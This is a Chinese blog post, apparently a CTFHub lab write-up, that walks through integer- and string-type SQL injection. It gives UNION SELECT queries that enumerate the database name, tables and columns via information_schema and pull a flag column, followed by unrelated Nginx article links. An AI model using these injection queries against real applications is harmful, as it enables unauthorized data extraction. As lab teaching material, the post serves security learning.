博客
关于我
CTFHub技能树web-sql注入
阅读量:294 次
发布时间:2019-03-01

本文共 1394 字,大约阅读时间需要 4 分钟。

整数型注入

sql语句 作用
select * from news where id=1 order by 1 猜解字段数,有数据返回则该数据库字段数为多少
select * from news where id=1 and 1=2 union select 1,database() union联合查询,database()查询数据库名
select * from news where id=1 and 1=2 union select 1,group_concat(table_name)from information.schema.tables where table_schema=‘sqli’ table_name表名,table_schema数据库名,information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等,该库中存储一些表,如tables表,columns表等
select * from news where id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’ column_name列名
select * from news where id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag 根据数据库的表获得flag字段中的内容

在这里插入图片描述

字符型注入
一、判断是否存在注入

二、判断select语句中有几列

三、判断显示的信息是第几列的信息

四、利用函数来收集数据库信息

五、通过union查询数据库

1、获取所有数据库名称

2、查询数据库中有多少个表

3、查询指定数据库中的表名

4、查询指定数据库指定表中的列名

5、查询指定数据库指定表的列的内容

详细过程参考
https://blog.csdn.net/sinat_36711025/article/details/104857541?ops_request_misc=%25257B%252522request%25255Fid%252522%25253A%252522161034725116780264039182%252522%25252C%252522scm%252522%25253A%25252220140713.130102334.pc%25255Fall.%252522%25257D&request_id=161034725116780264039182&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_v2~rank_v29-3-104857541.pc_search_result_cache&utm_term=websql%E6%B3%A8%E5%85%A5%E5%AD%97%E7%AC%A6%E5%9E%8B%E8%AF%AD%E5%8F%A5
手工
和整数型一样,先进行正常查询
在这里插入图片描述然后查询数据库名称
在这里插入图片描述查询sqli库的表名
在这里插入图片描述
查询sqli库中flag表的字段名称
在这里插入图片描述查询flag
在这里插入图片描述

你可能感兴趣的文章
nginx:Error ./configure: error: the HTTP rewrite module requires the PCRE library
查看>>
Nginx:objs/Makefile:432: recipe for target ‘objs/src/core/ngx_murmurhash.o‘解决方法
查看>>
Nginx、HAProxy、LVS
查看>>
Nginx下配置codeigniter框架方法
查看>>
Nginx中使用expires指令实现配置浏览器缓存
查看>>
nginx中配置root和alias的区别
查看>>
nginx主要流程(未完成)
查看>>
Nginx之二:nginx.conf简单配置(参数详解)
查看>>
Nginx从入门到精通
查看>>
Nginx代理websocket配置(解决websocket异常断开连接tcp连接不断问题)
查看>>
Nginx代理初探
查看>>
nginx代理地图服务--离线部署地图服务(地图数据篇.4)
查看>>
Nginx代理外网映射
查看>>
Nginx代理模式下 log-format 获取客户端真实IP
查看>>
Nginx代理解决跨域问题(导致图片只能预览不能下载)
查看>>
Nginx代理访问提示ERR_CONTENT_LENGTH_MISMATCH
查看>>
Nginx代理配置详解
查看>>
Nginx代理静态资源(gis瓦片图片)实现非固定ip的url适配网络环境映射ip下的资源请求解决方案
查看>>
Nginx代理静态资源(gis瓦片图片)实现非固定ip的url适配网络环境映射ip下的资源请求解决方案
查看>>
nginx优化日志拒绝特定404请求写入
查看>>